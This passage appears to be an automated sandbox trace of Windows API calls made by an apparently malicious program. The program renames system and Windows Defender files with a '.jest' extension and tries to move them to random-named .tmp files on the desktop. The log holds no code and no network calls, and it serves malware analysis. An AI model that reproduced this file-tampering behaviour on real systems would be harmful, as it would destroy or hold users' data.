Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.CRT", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.CRT", lpFilePart=0x18e708*="M1033DSK.CRT") returned 0x5c [0128.348] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.CRT" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\m1033dsk.crt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Hq_dIiZjVE3WYK0rp9t1 XZEXSYHi741zcXGdcSFzXEdmzdaM5E-qxlE 0dyX8kHPmIcj0wE1Z9cFZewwpFEgcl31abOz4ZP7UK1-.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hq_diizjve3wyk0rp9t1 xzexsyhi741zcxgdcsfzxedmzdam5e-qxle 0dyx8khpmicj0we1z9cfzewwpfegcl31aboz4zp7uk1-.tmp")) returned 0 [0128.350] GetLastError () returned 0x5 [0128.350] GetLastError () returned 0x5 [0128.350] SetLastError (dwErrCode=0x5) [0128.350] GetLastError () returned 0x5 [0128.350] SetLastError (dwErrCode=0x5) [0128.350] GetLastError () returned 0x5 [0128.350] SetLastError (dwErrCode=0x5) [0128.351] GetFullPathNameA (in: lpFileName="Hq_dIiZjVE3WYK0rp9t1 XZEXSYHi741zcXGdcSFzXEdmzdaM5E-qxlE 0dyX8kHPmIcj0wE1Z9cFZewwpFEgcl31abOz4ZP7UK1-.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Hq_dIiZjVE3WYK0rp9t1 XZEXSYHi741zcXGdcSFzXEdmzdaM5E-qxlE 0dyX8kHPmIcj0wE1Z9cFZewwpFEgcl31abOz4ZP7UK1-.tmp", lpFilePart=0x18e6e4*="Hq_dIiZjVE3WYK0rp9t1 XZEXSYHi741zcXGdcSFzXEdmzdaM5E-qxlE 0dyX8kHPmIcj0wE1Z9cFZewwpFEgcl31abOz4ZP7UK1-.tmp") returned 0x8f [0128.351] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Hq_dIiZjVE3WYK0rp9t1 XZEXSYHi741zcXGdcSFzXEdmzdaM5E-qxlE 0dyX8kHPmIcj0wE1Z9cFZewwpFEgcl31abOz4ZP7UK1-.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x645f7148, cFileName="IiZjVE3WYK0rp9t1 XZEXSYHi741zcXGdcSFzXEdmzdaM5E-qxlE 0dyX8kHPmIcj0wE1Z9cFZewwpFEgcl31abOz4ZP7UK1-.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.351] GetLastError () returned 0x2 [0128.351] GetLastError () returned 0x2 [0128.351] SetLastError (dwErrCode=0x2) [0128.379] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.379] CoFreeUnusedLibraries () [0128.379] GetTickCount () returned 0x1152859 [0128.379] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.379] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.379] GetTickCount () returned 0x1152859 [0128.379] IsWindowVisible (hWnd=0x30268) returned 0 [0128.379] Sleep (dwMilliseconds=0x0) [0128.381] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml"), lpNewFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml.jest" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml.jest")) returned 1 [0128.383] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml", lpFilePart=0x18e6d8*="FrameworkList.xml") returned 0x61 [0128.383] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x3d00003d, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144ecc0, ftLastAccessTime.dwLowDateTime=0x14c88b0, ftLastAccessTime.dwHighDateTime=0x14e21e0, ftLastWriteTime.dwLowDateTime=0x1e8, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x800000, nFileSizeLow=0x144ebe8, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.384] GetLastError () returned 0x2 [0128.384] VarBstrFromR4 (in: fltIn=0x4794461d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.23") returned 0x0 [0128.384] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.384] CoFreeUnusedLibraries () [0128.384] GetTickCount () returned 0x1152868 [0128.384] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.384] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.384] GetTickCount () returned 0x1152868 [0128.384] IsWindowVisible (hWnd=0x30268) returned 0 [0128.385] Sleep (dwMilliseconds=0x0) [0128.387] GetFullPathNameA (in: lpFileName="7c7I29cCH BpnH9bMHWqLlpxPHKYszw-4uPqhJYszpr3K b9QVuSS4Mf3wJaPGzkflfkmxiWakVXeqjpKksGLH1cw7dsWgd-up_M.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7c7I29cCH BpnH9bMHWqLlpxPHKYszw-4uPqhJYszpr3K b9QVuSS4Mf3wJaPGzkflfkmxiWakVXeqjpKksGLH1cw7dsWgd-up_M.tmp", lpFilePart=0x18e708*="7c7I29cCH BpnH9bMHWqLlpxPHKYszw-4uPqhJYszpr3K b9QVuSS4Mf3wJaPGzkflfkmxiWakVXeqjpKksGLH1cw7dsWgd-up_M.tmp") returned 0x8e [0128.388] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml", lpFilePart=0x18e708*="FrameworkList.xml") returned 0x61 [0128.388] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7c7I29cCH BpnH9bMHWqLlpxPHKYszw-4uPqhJYszpr3K b9QVuSS4Mf3wJaPGzkflfkmxiWakVXeqjpKksGLH1cw7dsWgd-up_M.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7c7i29cch bpnh9bmhwqllpxphkyszw-4upqhjyszpr3k b9qvuss4mf3wjapgzkflfkmxiwakvxeqjpkksglh1cw7dswgd-up_m.tmp")) returned 0 [0128.388] GetLastError () returned 0x2 [0128.388] GetLastError () returned 0x2 [0128.388] SetLastError (dwErrCode=0x2) [0128.388] GetLastError () returned 0x2 [0128.388] SetLastError (dwErrCode=0x2) [0128.388] GetLastError () returned 0x2 [0128.388] SetLastError (dwErrCode=0x2) [0128.389] GetFullPathNameA (in: lpFileName="7c7I29cCH BpnH9bMHWqLlpxPHKYszw-4uPqhJYszpr3K b9QVuSS4Mf3wJaPGzkflfkmxiWakVXeqjpKksGLH1cw7dsWgd-up_M.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7c7I29cCH BpnH9bMHWqLlpxPHKYszw-4uPqhJYszpr3K b9QVuSS4Mf3wJaPGzkflfkmxiWakVXeqjpKksGLH1cw7dsWgd-up_M.tmp", lpFilePart=0x18e6e4*="7c7I29cCH BpnH9bMHWqLlpxPHKYszw-4uPqhJYszpr3K b9QVuSS4Mf3wJaPGzkflfkmxiWakVXeqjpKksGLH1cw7dsWgd-up_M.tmp") returned 0x8e [0128.389] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7c7I29cCH BpnH9bMHWqLlpxPHKYszw-4uPqhJYszpr3K b9QVuSS4Mf3wJaPGzkflfkmxiWakVXeqjpKksGLH1cw7dsWgd-up_M.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x49376337, cFileName="29cCH BpnH9bMHWqLlpxPHKYszw-4uPqhJYszpr3K b9QVuSS4Mf3wJaPGzkflfkmxiWakVXeqjpKksGLH1cw7dsWgd-up_M.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.389] GetLastError () returned 0x2 [0128.389] GetLastError () returned 0x2 [0128.389] SetLastError (dwErrCode=0x2) [0128.390] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.390] CoFreeUnusedLibraries () [0128.390] GetTickCount () returned 0x1152868 [0128.390] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.390] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.390] GetTickCount () returned 0x1152868 [0128.390] IsWindowVisible (hWnd=0x30268) returned 0 [0128.390] Sleep (dwMilliseconds=0x0) [0128.391] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\subsetlist\\client.xml"), lpNewFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml.jest" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\subsetlist\\client.xml.jest")) returned 0 [0128.392] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml", lpFilePart=0x18e6d8*="Client.xml") returned 0x5a [0128.392] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5647fd36, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5647fd36, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x754cb2bc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xda7, dwReserved0=0x57, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 0x143ce48 [0128.392] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0128.392] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0128.392] VarBstrFromR4 (in: fltIn=0x4794461d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.23") returned 0x0 [0128.393] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.393] CoFreeUnusedLibraries () [0128.393] GetTickCount () returned 0x1152868 [0128.393] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.393] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.393] GetTickCount () returned 0x1152868 [0128.393] IsWindowVisible (hWnd=0x30268) returned 0 [0128.393] Sleep (dwMilliseconds=0x0) [0128.394] GetFullPathNameA (in: lpFileName="X9qAffNfdbb06G4PS4knvnWU4v6LpMseRc5XtO lfWiuKWVOJUQ8BwkDtWhi5vb2_Uox6ec6V9XagI0-qP J74Mvm91oi9bEmCpGL.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\X9qAffNfdbb06G4PS4knvnWU4v6LpMseRc5XtO lfWiuKWVOJUQ8BwkDtWhi5vb2_Uox6ec6V9XagI0-qP J74Mvm91oi9bEmCpGL.tmp", lpFilePart=0x18e708*="X9qAffNfdbb06G4PS4knvnWU4v6LpMseRc5XtO lfWiuKWVOJUQ8BwkDtWhi5vb2_Uox6ec6V9XagI0-qP J74Mvm91oi9bEmCpGL.tmp") returned 0x8f [0128.395] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml", lpFilePart=0x18e708*="Client.xml") returned 0x5a [0128.395] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\subsetlist\\client.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\X9qAffNfdbb06G4PS4knvnWU4v6LpMseRc5XtO lfWiuKWVOJUQ8BwkDtWhi5vb2_Uox6ec6V9XagI0-qP J74Mvm91oi9bEmCpGL.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\x9qaffnfdbb06g4ps4knvnwu4v6lpmserc5xto lfwiukwvojuq8bwkdtwhi5vb2_uox6ec6v9xagi0-qp j74mvm91oi9bemcpgl.tmp")) returned 0 [0128.395] GetLastError () returned 0x5 [0128.395] GetLastError () returned 0x5 [0128.395] SetLastError (dwErrCode=0x5) [0128.395] GetLastError () returned 0x5 [0128.395] SetLastError (dwErrCode=0x5) [0128.395] GetLastError () returned 0x5 [0128.395] SetLastError (dwErrCode=0x5) [0128.396] GetFullPathNameA (in: lpFileName="X9qAffNfdbb06G4PS4knvnWU4v6LpMseRc5XtO lfWiuKWVOJUQ8BwkDtWhi5vb2_Uox6ec6V9XagI0-qP J74Mvm91oi9bEmCpGL.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\X9qAffNfdbb06G4PS4knvnWU4v6LpMseRc5XtO lfWiuKWVOJUQ8BwkDtWhi5vb2_Uox6ec6V9XagI0-qP J74Mvm91oi9bEmCpGL.tmp", lpFilePart=0x18e6e4*="X9qAffNfdbb06G4PS4knvnWU4v6LpMseRc5XtO lfWiuKWVOJUQ8BwkDtWhi5vb2_Uox6ec6V9XagI0-qP J74Mvm91oi9bEmCpGL.tmp") returned 0x8f [0128.396] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\X9qAffNfdbb06G4PS4knvnWU4v6LpMseRc5XtO lfWiuKWVOJUQ8BwkDtWhi5vb2_Uox6ec6V9XagI0-qP J74Mvm91oi9bEmCpGL.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x41713958, cFileName="ffNfdbb06G4PS4knvnWU4v6LpMseRc5XtO lfWiuKWVOJUQ8BwkDtWhi5vb2_Uox6ec6V9XagI0-qP J74Mvm91oi9bEmCpGL.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.396] GetLastError () returned 0x2 [0128.396] GetLastError () returned 0x2 [0128.396] SetLastError (dwErrCode=0x2) [0128.403] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.403] CoFreeUnusedLibraries () [0128.403] GetTickCount () returned 0x1152878 [0128.403] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.404] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.404] GetTickCount () returned 0x1152878 [0128.404] IsWindowVisible (hWnd=0x30268) returned 0 [0128.404] Sleep (dwMilliseconds=0x0) [0128.405] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\subsetlist\\client.xml"), lpNewFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml.jest" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\subsetlist\\client.xml.jest")) returned 0 [0128.421] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml", lpFilePart=0x18e6d8*="Client.xml") returned 0x5a [0128.421] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5879c0ca, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5879c0ca, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77f7dd5c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xd76, dwReserved0=0x57, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 0x143ce48 [0128.422] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0128.422] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14f55bc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0128.422] VarBstrFromR4 (in: fltIn=0x47944621, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.26") returned 0x0 [0128.423] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.423] CoFreeUnusedLibraries () [0128.423] GetTickCount () returned 0x1152887 [0128.423] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.423] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.423] GetTickCount () returned 0x1152887 [0128.423] IsWindowVisible (hWnd=0x30268) returned 0 [0128.423] Sleep (dwMilliseconds=0x0) [0128.424] GetFullPathNameA (in: lpFileName="STewZo4XxrlKZER815Wctx-5mt4BQDntuoqvU2FDlu86kHCKrqEvPUeOtYuO-t3V5kWu7y9rc9eswdxcN5v U_HQEEyc15WKsCWo.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\STewZo4XxrlKZER815Wctx-5mt4BQDntuoqvU2FDlu86kHCKrqEvPUeOtYuO-t3V5kWu7y9rc9eswdxcN5v U_HQEEyc15WKsCWo.tmp", lpFilePart=0x18e708*="STewZo4XxrlKZER815Wctx-5mt4BQDntuoqvU2FDlu86kHCKrqEvPUeOtYuO-t3V5kWu7y9rc9eswdxcN5v U_HQEEyc15WKsCWo.tmp") returned 0x8e [0128.425] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml", lpFilePart=0x18e708*="Client.xml") returned 0x5a [0128.425] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\subsetlist\\client.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\STewZo4XxrlKZER815Wctx-5mt4BQDntuoqvU2FDlu86kHCKrqEvPUeOtYuO-t3V5kWu7y9rc9eswdxcN5v U_HQEEyc15WKsCWo.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\stewzo4xxrlkzer815wctx-5mt4bqdntuoqvu2fdlu86khckrqevpueotyuo-t3v5kwu7y9rc9eswdxcn5v u_hqeeyc15wkscwo.tmp")) returned 0 [0128.425] GetLastError () returned 0x5 [0128.425] GetLastError () returned 0x5 [0128.425] SetLastError (dwErrCode=0x5) [0128.425] GetLastError () returned 0x5 [0128.425] SetLastError (dwErrCode=0x5) [0128.425] GetLastError () returned 0x5 [0128.425] SetLastError (dwErrCode=0x5) [0128.426] GetFullPathNameA (in: lpFileName="STewZo4XxrlKZER815Wctx-5mt4BQDntuoqvU2FDlu86kHCKrqEvPUeOtYuO-t3V5kWu7y9rc9eswdxcN5v U_HQEEyc15WKsCWo.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\STewZo4XxrlKZER815Wctx-5mt4BQDntuoqvU2FDlu86kHCKrqEvPUeOtYuO-t3V5kWu7y9rc9eswdxcN5v U_HQEEyc15WKsCWo.tmp", lpFilePart=0x18e6e4*="STewZo4XxrlKZER815Wctx-5mt4BQDntuoqvU2FDlu86kHCKrqEvPUeOtYuO-t3V5kWu7y9rc9eswdxcN5v U_HQEEyc15WKsCWo.tmp") returned 0x8e [0128.426] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\STewZo4XxrlKZER815Wctx-5mt4BQDntuoqvU2FDlu86kHCKrqEvPUeOtYuO-t3V5kWu7y9rc9eswdxcN5v U_HQEEyc15WKsCWo.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x77655453, cFileName="Zo4XxrlKZER815Wctx-5mt4BQDntuoqvU2FDlu86kHCKrqEvPUeOtYuO-t3V5kWu7y9rc9eswdxcN5v U_HQEEyc15WKsCWo.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.426] GetLastError () returned 0x2 [0128.426] GetLastError () returned 0x2 [0128.426] SetLastError (dwErrCode=0x2) [0128.455] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.455] CoFreeUnusedLibraries () [0128.455] GetTickCount () returned 0x11528a7 [0128.455] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.455] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.455] GetTickCount () returned 0x11528a7 [0128.455] IsWindowVisible (hWnd=0x30268) returned 0 [0128.455] Sleep (dwMilliseconds=0x0) [0128.476] MoveFileA (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\MPLog-07132009-221054.log" (normalized: "c:\\programdata\\microsoft\\windows defender\\support\\mplog-07132009-221054.log"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\MPLog-07132009-221054.log.jest" (normalized: "c:\\programdata\\microsoft\\windows defender\\support\\mplog-07132009-221054.log.jest")) returned 0 [0128.477] GetFullPathNameA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\MPLog-07132009-221054.log", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\MPLog-07132009-221054.log", lpFilePart=0x18e6d8*="MPLog-07132009-221054.log") returned 0x4b [0128.477] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\MPLog-07132009-221054.log", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x76792c22, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x798d48a0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x30ada, dwReserved0=0x57, dwReserved1=0x0, cFileName="MPLog-07132009-221054.log", cAlternateFileName="MPLOG-~1.LOG")) returned 0x143ce48 [0128.477] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0128.477] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, 